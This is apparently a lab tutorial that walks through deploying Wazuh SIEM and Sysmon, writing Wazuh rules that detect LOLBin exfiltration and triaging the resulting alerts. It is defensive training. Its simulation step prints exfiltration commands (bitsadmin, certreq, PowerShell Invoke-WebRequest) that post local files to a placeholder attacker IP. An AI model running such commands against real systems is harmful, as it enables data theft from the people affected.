Detect LOLBin Attacks with Wazuh SIEM

Deploy Wazuh SIEM, write custom detection rules, and investigate LOLBin attacks.

Introduction

30 Second Summary

Imagine a burglar who breaks into your house but only uses your own kitchen knife and your own bag to steal your valuables. That's exactly what LOLBin attacks do. Attackers use tools already installed on your computer to steal data, making them nearly invisible to traditional security software.

In this project, you will deploy a Wazuh SIEM to monitor a Windows endpoint, write custom detection rules for Living Off the Land attacks, simulate real exfiltration techniques, and investigate the resulting alerts like a SOC analyst.

What You'll Build

A fully functional threat detection lab where Wazuh monitors a Windows endpoint via Sysmon telemetry and triggers alerts when Living Off the Land binaries (bitsadmin, certreq, PowerShell) are abused for data exfiltration.

By the end of this project, you'll have:

  • A running Wazuh SIEM instance (server, indexer, dashboard) monitoring a Windows endpoint in real time.
  • Custom detection rules mapped to MITRE ATT&CK techniques for LOLBin exfiltration.
  • A completed alert investigation demonstrating the SOC analyst workflow from detection to triage.
  • Secret Mission: Write a mini incident report mapping your detection findings to ISO 27001:2022 Annex A controls.

Are there any prerequisites?

You should be comfortable with basic Linux command line usage and basic networking concepts like IP addresses and VMs communicating on the same network.

You also need VirtualBox with three VMs already set up: an Ubuntu VM, a WinDev2404Eval VM, and a Kali Linux VM. Familiarity with the Windows command line is helpful.

Install Wazuh and Deploy the Windows Agent

Before you can detect any threats, you need a system that collects and analyzes security events from your endpoints.

In this step, you will install Wazuh on your Ubuntu VM and deploy its agent onto the Windows endpoint. Once connected, Wazuh will have real-time visibility into everything happening on that Windows machine.

In this step, get ready to:
  • Install the Wazuh all-in-one platform (server, indexer, dashboard) on your Ubuntu VM.
  • Deploy the Wazuh agent on WinDev2404Eval and connect it to the server.
  • Verify the agent appears as Active in the Wazuh dashboard.
Install Wazuh all-in-one on Ubuntu

The Wazuh quickstart installer bundles three components into a single command: the Wazuh server (processes events), the Wazuh indexer (stores and searches data), and the Wazuh dashboard (web UI for investigations).

  • Switch to your Ubuntu VM terminal.
  • Run the quickstart installer by entering this command:
curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh && sudo bash ./wazuh-install.sh -a

What does this command do?

  • curl -sO downloads the install script silently from Wazuh's package repository.
  • sudo bash ./wazuh-install.sh -a runs the script with root privileges. The -a flag tells it to install all components (server, indexer, dashboard) on this single machine.

This takes several minutes depending on your VM's resources and internet speed.

What hardware does this need?

The Wazuh quickstart all-in-one deployment recommends 4 vCPU, 8 GiB RAM, and 50 GB storage for up to 25 agents. Make sure your Ubuntu VM meets these requirements before running the installer.

  • When the installer finishes, it prints the admin credentials on screen. Copy the password shown next to admin and save it somewhere safe (e.g. a text file on your host machine).
  • If you missed the credentials, retrieve them by running:
sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt
  • Open a browser on any machine that can reach your Ubuntu VM.
  • Navigate to https:// followed by your Ubuntu VM's IP address (e.g. https://192.168.1.10).
  • Accept the self-signed certificate warning.
  • Log in with username admin and the password you saved from the installer output.

You should see the Wazuh dashboard home page with a welcome message and zero agents connected.

Can't access the dashboard?

  • Make sure you are using https:// (not http://). The dashboard only serves over HTTPS.
  • Verify the Ubuntu VM's firewall allows port 443. Run sudo ufw status to check.
  • Confirm the browser machine can ping the Ubuntu VM's IP address.

Help me troubleshoot why I can't reach the Wazuh dashboard at my Ubuntu VM's IP address over HTTPS.

Deploy the Wazuh agent on WinDev2404Eval

The Wazuh agent is a lightweight service that runs on the endpoint you want to monitor. It collects logs, file integrity data, and process telemetry, then forwards everything to the Wazuh server for analysis.

  • Switch to your WinDev2404Eval VM.
  • Open an elevated PowerShell prompt by pressing the Windows key, typing PowerShell, right-clicking Windows PowerShell, and selecting Run as administrator.
  • Download the Wazuh agent MSI by running:
Invoke-WebRequest -Uri https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.5-1.msi -OutFile .\wazuh-agent-4.14.5-1.msi
  • Install the agent and point it at your Wazuh server by running:
msiexec.exe /i .\wazuh-agent-4.14.5-1.msi /q WAZUH_MANAGER="[[UBUNTU_VM_IP="your Ubuntu VM IP address"]]"

What does this command do?

  • msiexec.exe /i tells Windows to install the specified MSI package.
  • /q runs the installation silently (no GUI prompts).
  • WAZUH_MANAGER sets the IP address of the Wazuh server the agent will report to.
  • Start the Wazuh agent service by running:
NET START WazuhSvc
  • Confirm the service is running by running:
Get-Service WazuhSvc

You should see Status showing Running in the output.

Service not starting?

  • Make sure you ran PowerShell as administrator. The Wazuh service requires elevated privileges.
  • Check that you replaced the IP address placeholder with your actual Ubuntu VM IP in the install command.
  • Verify port 1514/TCP is open between the two VMs. On your Ubuntu VM, run sudo ufw allow 1514/tcp if needed.

Help me figure out why my Wazuh agent service won't start on Windows.

Confirm agent connectivity in the dashboard

The agent should automatically register with the Wazuh server within a few seconds of starting. Now you will verify the connection is healthy.

  • Switch back to your browser with the Wazuh dashboard open.
  • In the left sidebar, click Agents management.
  • Click Summary.
  • Look for your WinDev2404Eval agent in the list. It should show a green status indicator with the word Active.

What does Active mean?

An Active status means the agent is communicating with the Wazuh server successfully. It has completed enrollment (exchanging authentication keys) and is now sending keep-alive messages every few seconds.

Agent showing Disconnected?

  • Verify port 1514/TCP is open between the VMs. On Ubuntu, run sudo ufw allow 1514/tcp and on Windows check that no firewall rule blocks outbound connections to port 1514.
  • On the Windows VM, check the agent log at C:\Program Files (x86)\ossec-agent\ossec.log for connection errors.
  • Try restarting the agent with Restart-Service -Name wazuh in an elevated PowerShell prompt and wait 30 seconds before refreshing the dashboard.

Help me troubleshoot why my Wazuh agent shows Disconnected in the dashboard.

Your Wazuh SIEM is live and monitoring the Windows endpoint. Next up, you will configure Sysmon on Windows to generate the rich telemetry your detection rules need.

Configure Sysmon and Log Forwarding

Your Wazuh agent is connected and reporting to the server. However, the default Windows event logs only capture basic security events.

To detect LOLBin attacks, you need granular telemetry about process creation, network connections, and command-line activity. Sysmon (System Monitor) is a Sysinternals tool that provides exactly this level of detail. In this step, you will install Sysmon on the Windows endpoint and configure the Wazuh agent to forward those logs to your SIEM.

In this step, get ready to:
  • Install Sysmon on WinDev2404Eval with a custom configuration.
  • Configure the Wazuh agent to forward Sysmon and PowerShell event logs.
  • Verify that Sysmon events appear in the Wazuh dashboard.
Download and install Sysmon on Windows

Sysmon is a Windows system service that logs detailed process, network, and file-creation events to the Windows Event Log. Your custom detection rules will rely on this telemetry to spot LOLBin abuse.

  • Switch to your WinDev2404Eval VM.
  • Open an elevated PowerShell window by pressing the Windows key, typing PowerShell, right-clicking Windows PowerShell, and selecting Run as administrator.

Why elevated?

Sysmon installs a kernel-mode driver and a system service. Both require administrator privileges to register on the machine.

  • Create a directory for Sysmon and download the archive by running these commands:
# Create the Sysmon folder and navigate into it
mkdir C:\Sysmon
cd C:\Sysmon

# Download the Sysmon zip from Sysinternals
Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.zip -OutFile Sysmon.zip

# Extract the archive into the current folder
Expand-Archive -Path Sysmon.zip -DestinationPath .

What does this code do?

These commands create a dedicated C:\Sysmon directory, download the official Sysmon archive from Microsoft Sysinternals, and extract it in place.

After extraction, the folder contains sysmon64.exe (the 64-bit installer) and supporting files.

  • Confirm the files extracted by running:
dir

You should see sysmon64.exe listed among the extracted files.

Download failed or timed out?

Make sure your WinDev2404Eval VM has internet access. Try pinging download.sysinternals.com from PowerShell. If it fails, check your VirtualBox network adapter settings (NAT or Bridged mode).

Help me fix my network settings

Next, you need a configuration file that tells Sysmon which events to log. You will create a baseline config that captures all process creation, network connection, and file creation events.

  • Create the Sysmon configuration file by running:
notepad C:\Sysmon\sysmonconfig.xml
  • Notepad will open with an empty file. Paste the following XML into it:
<Sysmon schemaversion="4.90">
  <HashAlgorithms>SHA256</HashAlgorithms>
  <EventFiltering>
    <ProcessCreate onmatch="exclude" />
    <NetworkConnect onmatch="exclude" />
    <FileCreate onmatch="exclude" />
  </EventFiltering>
</Sysmon>

What does this config do?

The onmatch="exclude" filters with no child rules mean "exclude nothing." Every ProcessCreate, NetworkConnect, and FileCreate event is logged.

This is intentionally verbose for a lab environment. In production, you would add exclusion rules to reduce noise from trusted processes.

  • Save the file in Notepad by pressing Ctrl+S, then close Notepad.
  • Back in your elevated PowerShell window, install Sysmon with your config by running:
# Install the Sysmon service and driver with your config
.\sysmon64 -accepteula -i sysmonconfig.xml

You should see output confirming Sysmon installed, SysmonDrv installed, and both services started.

Seeing 'not recognized' or 'cannot be loaded'?

Make sure you are in the C:\Sysmon directory. Run cd C:\Sysmon and try again. The .\ prefix is required in PowerShell to run executables from the current directory.

Also confirm you are using the 64-bit version (sysmon64.exe), not the 32-bit sysmon.exe. WinDev2404Eval is a 64-bit system.

Help me troubleshoot my Sysmon install

✔️ Awesome, I've got everything!

Great. Double check you saved your sysmonconfig.xml file and that Sysmon reported a successful install.

ⓧ I'd like to double check the full code

Your C:\Sysmon\sysmonconfig.xml should contain exactly this:

<Sysmon schemaversion="4.90">
  <HashAlgorithms>SHA256</HashAlgorithms>
  <EventFiltering>
    <ProcessCreate onmatch="exclude" />
    <NetworkConnect onmatch="exclude" />
    <FileCreate onmatch="exclude" />
  </EventFiltering>
</Sysmon>
Configure the Wazuh agent to forward Sysmon and PowerShell logs

Sysmon is now logging events locally on the Windows endpoint. To get those events into Wazuh for analysis, you need to tell the Wazuh agent which Windows Event Channels to collect and forward.

  • In your elevated PowerShell window on WinDev2404Eval, open the Wazuh agent configuration file by running:
notepad "C:\Program Files (x86)\ossec-agent\ossec.conf"
  • Scroll to the bottom of the file. Find the closing </ossec_config> tag.
  • Add the following XML block just above the closing </ossec_config> tag:
<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

<localfile>
  <location>Microsoft-Windows-PowerShell/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

What does this code do?

Each <localfile> block tells the Wazuh agent to monitor a specific Windows Event Channel. The eventchannel format instructs the agent to use the Windows Event Log API for collection.

The first entry forwards all Sysmon events (process creation, network connections, file creation). The second forwards PowerShell operational logs, which capture script execution details your detection rules will use later.

  • Save the file by pressing Ctrl+S, then close Notepad.
  • Restart the Wazuh agent to apply the new configuration by running:
Restart-Service -Name wazuh

The command completes silently if successful. No output means the service restarted without errors.

Service restart failed?

If you see a permissions error, confirm you are running an elevated (administrator) PowerShell window. If you see an XML parsing error, open ossec.conf again and check that your new entries have proper opening and closing tags.

Help me troubleshoot my Wazuh agent restart

✔️ Awesome, I've got everything!

Great. Make sure you saved ossec.conf and the restart completed without errors.

ⓧ I'd like to double check the full code

The entries you added near the bottom of C:\Program Files (x86)\ossec-agent\ossec.conf (above </ossec_config>) should look exactly like this:

<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

<localfile>
  <location>Microsoft-Windows-PowerShell/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>
Verify Sysmon events in the Wazuh dashboard

The agent is now forwarding Sysmon telemetry to the Wazuh server. It takes a few moments for the first events to appear. Let's confirm they are arriving.

  • Switch back to your Ubuntu VM and return to the Wazuh dashboard in your browser.
  • In the left-hand menu, click Threat Hunting.
  • In the search bar at the top of the Events view, type the following filter and press Enter:
rule.groups:sysmon
  • Confirm that events from your WinDev2404Eval agent appear in the results list.

You should see events with fields like sysmon.eventType showing ProcessCreate or NetworkConnect entries. These are the raw Sysmon events flowing through your pipeline.

No events yet?

Sysmon events can take 30 to 60 seconds to appear after the agent restart. Try refreshing the page or waiting a moment. You can also generate some activity on the Windows VM (open a browser, run a command) to trigger fresh Sysmon events.

Still seeing no Sysmon events after a minute?

Verify the agent still shows as Active in the Wazuh dashboard under Agents management. If it shows Disconnected, the ossec.conf edit may have introduced a syntax error. Return to WinDev2404Eval, open ossec.conf, fix any malformed XML, save, and restart the service again.

Help me fix my Sysmon log forwarding

Your Windows endpoint is now streaming rich telemetry to Wazuh. Next up, you will write custom detection rules that analyze these Sysmon events and fire alerts when they spot LOLBin abuse patterns.

Author Custom LOLBin Detection Rules

Your Wazuh deployment is receiving Sysmon telemetry from the Windows endpoint. The next challenge is teaching Wazuh what suspicious activity looks like.

Out of the box, Wazuh does not flag every binary execution as malicious. You need to write custom rules that trigger when specific Living Off the Land binaries are used in exfiltration patterns. In this step, you will author detection rules that chain off built-in Sysmon parent rules and map each detection to MITRE ATT&CK techniques.

In this step, get ready to:
  • Create a custom detection rules file on the Wazuh server.
  • Write rules that detect bitsadmin, curl, PowerShell, and certreq exfiltration activity.
  • Restart the Wazuh manager and verify the rules loaded without errors.
Create the LOTL detection rules file

Wazuh stores custom rules in /var/ossec/etc/rules/ on the server. Files in this directory persist through upgrades, unlike the built-in ruleset.

  • SSH into your Ubuntu VM (the Wazuh server) from your host machine or open a terminal directly on the VM.
  • Create and open the custom rules file by running this command:
sudo nano /var/ossec/etc/rules/lotl_detection.xml
  • Paste the following detection rules into the file:
<group name="lotl,exfiltration,">

  <rule id="100017" level="8">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(bitsadmin\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(transfer|addfile|upload|http)</field>
    <options>no_full_log</options>
    <description>Possible data exfiltration using Bitsadmin detected.</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100018" level="8">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(curl\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(curl\s+-T\s+.*C:\\.*http)</field>
    <options>no_full_log</options>
    <description>Possible data exfiltration using Curl detected.</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100019" level="9">
    <if_sid>60009</if_sid>
    <field name="win.eventdata.contextInfo" type="pcre2">(?i)Invoke-WebRequest</field>
    <field name="win.eventdata.payload" type="pcre2">(?i)(Uri|http|Post|InFile|C:\\)</field>
    <description>Possible PowerShell data exfiltration detected.</description>
    <mitre>
      <id>T1059.001</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100020" level="9">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(certreq\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(post|config|http|C:\\)</field>
    <options>no_full_log</options>
    <description>Possible data exfiltration using Certreq detected.</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

</group>

What do these rules do?

Each rule chains off a parent rule using <if_sid>. Rule 61603 is Wazuh's built-in rule for Sysmon Event ID 1 (Process Create). Rule 60009 is the built-in rule for PowerShell operational log events.

Rules 100017, 100018, and 100020 fire when Sysmon logs a process whose original filename matches a known LOLBin AND the command line contains exfiltration-related keywords. Rule 100019 fires when PowerShell logs show Invoke-WebRequest activity with network-related parameters.

The level value sets alert severity (8 = high, 9 = higher). The <mitre> block maps each detection to specific ATT&CK technique IDs so alerts appear in the MITRE ATT&CK dashboard module.

Why use pcre2 regex instead of simple string matching?

Attackers often use case variations and argument reordering to evade static string matches. The (?i) flag makes matching case-insensitive, and the pipe-separated patterns catch multiple exfiltration keywords in any order.

  • Save the file by pressing Ctrl+O, then Enter to confirm.
  • Exit nano by pressing Ctrl+X.
  • Confirm the file was created by running:
ls /var/ossec/etc/rules/lotl_detection.xml

You should see the file path printed back to you, confirming it exists.

File not found?

  • Make sure you used sudo when running nano. The /var/ossec/etc/rules/ directory is owned by root.
  • Check for typos in the path. The filename must be lotl_detection.xml exactly.

Why isn't my rules file saving to the Wazuh rules directory?

Restart the Wazuh manager to load the rules

Wazuh only reads rule files at startup. You need to restart the manager service for it to parse and activate your new detections.

  • Restart the Wazuh manager by running this command:
sudo systemctl restart wazuh-manager
  • Wait a few seconds for the service to fully restart.
  • Confirm the manager is running by running:
sudo systemctl status wazuh-manager

You should see active (running) in the output, confirming the service started successfully with your new rules.

Manager failed to start?

If the status shows failed, there is likely an XML syntax error in your rules file. Check the logs for details using the verification command in the next substep.

Why did my Wazuh manager fail to restart after adding custom rules?

Verify the rules loaded without errors

Even when the manager starts, individual rules can fail to parse silently. You should always check the logs after adding custom rules.

  • Check the Wazuh log for rule parsing errors by running:
grep -i "error" /var/ossec/logs/ossec.log | tail -5

What should I see?

If your rules loaded correctly, this command returns either no output or lines unrelated to rule parsing. Any output mentioning lotl_detection.xml or a rule ID (100017-100020) means there is a problem with your rule syntax.

  • If you see no rule-related errors, your custom detections are active and ready to trigger on matching events.

Seeing a rule parsing error?

  • Open the file again with sudo nano /var/ossec/etc/rules/lotl_detection.xml and check that every opening tag has a matching closing tag.
  • Verify the <group> wrapper uses name="lotl,exfiltration," with a trailing comma (required by Wazuh group syntax).
  • Make sure there are no extra characters or whitespace before the opening <group> tag.

How do I fix XML parsing errors in my Wazuh custom rules file?

✔️ Awesome, I've got everything!

Great. Double check that you have saved lotl_detection.xml and the manager is running with no rule parsing errors.

ⓧ I'd like to double check the full code

Here is the complete lotl_detection.xml file:

<group name="lotl,exfiltration,">

  <rule id="100017" level="8">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(bitsadmin\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(transfer|addfile|upload|http)</field>
    <options>no_full_log</options>
    <description>Possible data exfiltration using Bitsadmin detected.</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100018" level="8">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(curl\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(curl\s+-T\s+.*C:\\.*http)</field>
    <options>no_full_log</options>
    <description>Possible data exfiltration using Curl detected.</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100019" level="9">
    <if_sid>60009</if_sid>
    <field name="win.eventdata.contextInfo" type="pcre2">(?i)Invoke-WebRequest</field>
    <field name="win.eventdata.payload" type="pcre2">(?i)(Uri|http|Post|InFile|C:\\)</field>
    <description>Possible PowerShell data exfiltration detected.</description>
    <mitre>
      <id>T1059.001</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100020" level="9">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(certreq\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(post|config|http|C:\\)</field>
    <options>no_full_log</options>
    <description>Possible data exfiltration using Certreq detected.</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

</group>

Your detection logic is live. Next up, you will simulate real LOLBin exfiltration attacks on the Windows endpoint and watch your custom rules fire alerts in the Wazuh dashboard.

Simulate LOLBin Attacks

Your custom detection rules are loaded and the Wazuh manager is actively watching for suspicious activity. Now it's time to put those rules to the test with real attack simulations.

In this step, you'll simulate post-compromise data exfiltration on the Windows endpoint using three native Windows binaries. These are LOLBins (Living Off the Land Binaries). Attackers love them because they're already installed on every Windows machine, making malicious activity blend in with normal system operations.

In this step, get ready to:
  • Start an HTTP listener on Kali to act as the exfiltration endpoint.
  • Execute three LOLBin exfiltration techniques on WinDev2404Eval.
  • Confirm your custom rules triggered alerts in the Wazuh dashboard.
Start the exfiltration listener on Kali

In a real attack, the attacker already has a server waiting to receive stolen data. Your Kali VM plays that role here.

  • Switch to your Kali Linux VM.
  • Find your Kali VM's IP address by running this command:
ip a
  • Look for the IP address listed under your active network interface (usually eth0). Note this IP address down. You'll use it in every attack command on the Windows VM.
  • Start the HTTP listener by running this command:
python3 -m http.server 8080

You should see output similar to Serving HTTP on 0.0.0.0 port 8080 confirming the server is running.

Why a Python HTTP server?

This lightweight server simulates an attacker-controlled endpoint. It doesn't need to fully process uploads. The goal is for the Windows commands to execute and generate Sysmon log entries that your Wazuh rules detect.

Port already in use?

If you see an error about port 8080, another process may be using it. Run lsof -i :8080 to identify the process, then stop it or choose a different port.

help me troubleshoot the HTTP listener on Kali

Execute LOLBin exfiltration commands on Windows

Each command below uses a different native Windows binary to send data to your Kali listener. The commands may show errors because the Python server doesn't speak their specific protocols. That's expected and perfectly fine.

Why do errors not matter here?

Your detection rules trigger on the command line patterns captured by Sysmon when the process starts. The rules don't care whether the exfiltration actually succeeds. In real SOC work, a failed exfiltration attempt is just as important to detect as a successful one.

  • Switch to your WinDev2404Eval VM.
  • Open an elevated PowerShell prompt (right-click the Start menu, select Terminal (Admin)).
  • Simulate bitsadmin exfiltration by running this command:
bitsadmin /transfer exfiljob /upload http://[[KALI_IP="your Kali VM IP address"]]:8080/upload C:\Windows\System32\drivers\etc\hosts

What does this command do?

bitsadmin is a legitimate Windows tool for managing Background Intelligent Transfer Service jobs. Attackers abuse the /transfer and /upload flags to send sensitive files to external servers.

This maps to MITRE ATT&CK technique T1567.002 (Exfiltration Over Web Service).

You'll likely see an error about the server not supporting the BITS protocol. That's expected.

  • Simulate certreq exfiltration by running this command:
certreq -Post -config http://[[KALI_IP="your Kali VM IP address"]]:8080/ C:\Windows\win.ini

What does this command do?

certreq is a certificate enrollment tool. Attackers abuse its -Post flag to send arbitrary files to an HTTP endpoint, disguising exfiltration as certificate request traffic.

  • Simulate PowerShell exfiltration by running this command:
Invoke-WebRequest -Uri http://[[KALI_IP="your Kali VM IP address"]]:8080/exfil -Method Post -InFile C:\Windows\System32\drivers\etc\hosts

What does this command do?

Invoke-WebRequest is PowerShell's built-in HTTP client. Attackers use it to POST sensitive files directly to an external server. This maps to both T1059.001 (PowerShell) and T1567.002 (Exfiltration Over Web Service).

After running all three commands, check your Kali terminal. You should see incoming HTTP requests logged by the Python server, confirming the Windows commands reached your listener.

Not seeing requests on Kali?

Make sure both VMs are on the same virtual network. Verify the Kali IP address you used matches the output from ip a.

Also confirm the Python HTTP server is still running in your Kali terminal (it stops if you press Ctrl+C).

help me troubleshoot connectivity between my VMs

Verify alerts in the Wazuh dashboard

Your Wazuh rules need a moment to process the incoming Sysmon and PowerShell events.

  • Wait 30 to 60 seconds for events to flow from the Windows agent to the Wazuh server.
  • Switch back to the Wazuh dashboard in your browser.
  • Navigate to Threat Hunting in the left sidebar.
  • Click Events.
  • In the search bar, filter by your custom rule IDs by entering rule.id:(100017 OR 100019 OR 100020) and pressing Enter.

You should see at least two of the three rules have generated alerts. Each alert corresponds to one of the LOLBin commands you executed.

What if only two rules fired?

It's normal if not all three fire immediately. The bitsadmin command may fail before generating a full Sysmon log entry on some Windows builds. Two out of three is a successful test of your detection rules.

Not seeing any alerts?

Check that the time range in the dashboard covers the last 15 minutes (use the date picker in the top right).

Verify the Wazuh agent is still active under Agents management > Summary. If the agent shows as disconnected, restart it on the Windows VM with Restart-Service -Name wazuh and re-run the attack commands.

help me troubleshoot why my Wazuh custom rules aren't triggering alerts

Your attack simulations generated real alerts. Next up, you'll investigate those alerts and perform triage like a SOC analyst, mapping each finding to the MITRE ATT&CK framework.

Investigate Alerts and Map to MITRE ATT&CK

Your LOLBin attacks fired alerts in Wazuh. Now it is time to switch into analyst mode and investigate what happened.

This step covers the core SOC analyst workflow: detect, investigate, document, respond. You will trace each alert back to its MITRE ATT&CK technique, examine the raw evidence, and produce an investigation summary.

In this step, get ready to:
  • Review MITRE ATT&CK technique mappings in the Wazuh dashboard.
  • Triage the bitsadmin alert with full evidence.
  • Summarize your investigation across all triggered alerts.
Review MITRE ATT&CK technique mappings

The Wazuh MITRE ATT&CK module maps your alerts directly to adversary techniques from the MITRE framework. This tells you not just what happened, but where it fits in the attack lifecycle.

  • In the Wazuh dashboard, click the navigation menu on the left side.
  • Under the Threat intelligence section, click MITRE ATT&CK.
  • Select the Events tab to see alerts mapped to MITRE techniques.

You should see your custom alerts listed with their associated MITRE technique IDs. Look for T1567.002 (Exfiltration Over Web Service) and T1059.001 (PowerShell).

  • Click on one of the bitsadmin or certreq alerts to expand its full JSON payload.
  • Examine the following fields in the expanded alert: agent.name (the source endpoint), timestamp (when it fired), data.win.eventdata.commandLine (the full command), data.win.eventdata.parentImage (the parent process), and the rule.mitre section (technique mappings).

What is in the alert JSON payload?

Each Wazuh alert is a structured JSON document containing everything a SOC analyst needs to begin an investigation. The agent section tells you which endpoint generated the event. The data.win.eventdata section contains the raw Sysmon telemetry: the exact command line, the parent process that spawned it, and the user account.

The rule.mitre section maps the alert to MITRE ATT&CK techniques automatically because you defined <mitre> tags in your custom rules. This is what enables the MITRE ATT&CK module to correlate your detections with the framework.

Don't see any events in the MITRE ATT&CK module?

If the Events tab shows no results, adjust the time range picker in the top-right corner. Set it to cover the last 1-2 hours to capture when you ran the attack simulations. Also confirm you are not filtering by a specific agent that has no alerts.

If you still see nothing, return to Threat Hunting > Events and filter by rule IDs 100017, 100019, or 100020 to confirm the alerts exist.

help me troubleshoot why my MITRE ATT&CK module shows no events

Triage the bitsadmin alert

Triage means collecting and documenting the key evidence from an alert so you can make a decision about what to do next. You will now perform triage on the bitsadmin alert as a real SOC analyst would.

  • Find the alert for rule ID 100017 in the Events list.
  • Click to expand the alert and document the following from the JSON payload:
  • Binary used: look at win.eventdata.originalFileName (should show bitsadmin.exe).
  • Full command line: look at win.eventdata.commandLine (shows the exact bitsadmin /transfer command you ran with the upload destination).
  • Network destination: extract the HTTP URL from the command line field (your Kali VM IP on port 8080).
  • MITRE technique: check the rule.mitre.id field (should show T1567.002).
  • Parent process: check win.eventdata.parentImage to see what launched bitsadmin (likely cmd.exe or powershell.exe).

What would a real analyst do next?

After triaging this alert, a real SOC analyst would take several response actions. They would check network logs or proxy logs for the destination IP to see if data actually left the network. They would isolate the endpoint to prevent further exfiltration.

They would also check for lateral movement indicators on adjacent systems. Finally, they would escalate to an incident response team if the exfiltration was confirmed. This is the detect-investigate-respond cycle you are practicing.

Summarize your investigation

A detection without documentation is incomplete. In a real SOC, every investigated alert produces a written summary. You will now create a brief investigation summary for each of your triggered alerts.

  • For each alert that fired (rules 100017, 100019, 100020), document the following:
  • Rule ID and description (e.g., 100017: "Possible data exfiltration using Bitsadmin detected.").
  • MITRE ATT&CK technique (e.g., T1567.002 Exfiltration Over Web Service).
  • Severity level from the rule (level 8 for bitsadmin, level 9 for PowerShell and certreq).
  • Recommended response action (e.g., isolate endpoint, block destination IP, review network logs for data transfer volume).

Why document severity levels?

Wazuh rule levels range from 0 to 15. Level 8 means "high severity" and level 9 means "very high severity" in Wazuh's classification. You set bitsadmin at level 8 because it is suspicious but has legitimate uses. You set PowerShell and certreq at level 9 because those exfiltration patterns are more clearly malicious.

In a production SOC, severity levels drive SLA response times. A level 9 alert might require a 15-minute response, while level 8 might allow 30 minutes. This is why getting severity right matters.

The SOC analyst workflow you just completed

You just performed the full detection engineering and investigation cycle: detect (custom rules triggered), investigate (expanded JSON, identified binary, command, destination, technique), document (written summary per alert), respond (identified next steps). This is the exact workflow SOC analysts and detection engineers perform daily.

Secret mission

Write an ISO 27001-Mapped Incident Report

You've detected the threats and investigated the alerts. Now take it one step further by producing a GRC-ready incident report that maps your findings to ISO 27001:2022 Annex A controls. This is the deliverable that bridges SOC operations and governance.

Clean Up Your Resources

Clean Up Your Resources

This project runs entirely on local virtual machines, so there are no ongoing cloud costs. Decide whether to keep your resources running, pause them to come back later, or delete them entirely.

Resources you used:

  • Wazuh 4.14.5 all-in-one deployment on Ubuntu VM (server, indexer, dashboard).
  • Wazuh agent on WinDev2404Eval VM.
  • Sysmon installation and config on WinDev2404Eval VM.
  • Custom detection rules file at /var/ossec/etc/rules/lotl_detection.xml.
  • Sysmon config file at C:\Sysmon\sysmonconfig.xml.
  • Python HTTP listener on Kali VM (port 8080).
  • Modified ossec.conf on WinDev2404Eval (Sysmon and PowerShell log channels).

Keep everything running

No action needed. Choose this if you plan to continue building detection rules, adding new attack simulations, or expanding your lab environment.

  • Your Wazuh server continues running on the Ubuntu VM and collecting events.
  • The Wazuh agent stays active on WinDev2404Eval, forwarding Sysmon telemetry.
  • Your custom detection rules remain loaded and will trigger on any future matching activity.
  • The Kali HTTP listener will stop when you close that terminal or shut down the Kali VM.

Pause - I'll come back to this later

Shut down the VMs to free up RAM and CPU on your host machine. Your configurations and rules will persist on disk.

  • On Kali, press Ctrl+C in the terminal running the HTTP listener to stop it.
  • In VirtualBox, right-click each VM (Ubuntu, WinDev2404Eval, Kali) and select Close then Save State.
  • When you return, right-click each VM and select Start to resume from where you left off.

Delete - I don't want to use this again

Remove all project resources from your VMs to start fresh. Follow the steps below in order.

On the Kali VM:

  • Press Ctrl+C in the terminal running the HTTP listener to stop the Python server.

On the WinDev2404Eval VM:

  • Uninstall Sysmon by opening an elevated command prompt and running:
sysmon64 -u
  • Delete the Sysmon config file by running:
rmdir /s /q C:\Sysmon
  • Uninstall the Wazuh agent. Make sure the original MSI installer file is in your working directory, then run:
msiexec.exe /x wazuh-agent-4.14.5-1.msi /qn
  • Remove the Sysmon and PowerShell log channel entries you added to ossec.conf. Since the agent is now uninstalled, the file is already removed.

On the Ubuntu VM (Wazuh server):

  • Remove the custom detection rules file by running:
sudo rm /var/ossec/etc/rules/lotl_detection.xml
  • Uninstall the entire Wazuh deployment (server, indexer, and dashboard) by running:
curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh
sudo bash wazuh-install.sh --uninstall

What does this remove?

The --uninstall flag removes the Wazuh indexer, Wazuh server, and Wazuh dashboard in one step. All stored alerts, rules, and configuration will be deleted.

Nice Work!

Nice Work!

Nice work! You just built a fully functional threat detection lab that monitors a Windows endpoint for Living Off the Land Binary abuse and triggers alerts when post-compromise exfiltration techniques are detected.

You've learned how to:

  • Deploy a Wazuh SIEM instance and configure Sysmon telemetry forwarding from a monitored Windows endpoint.
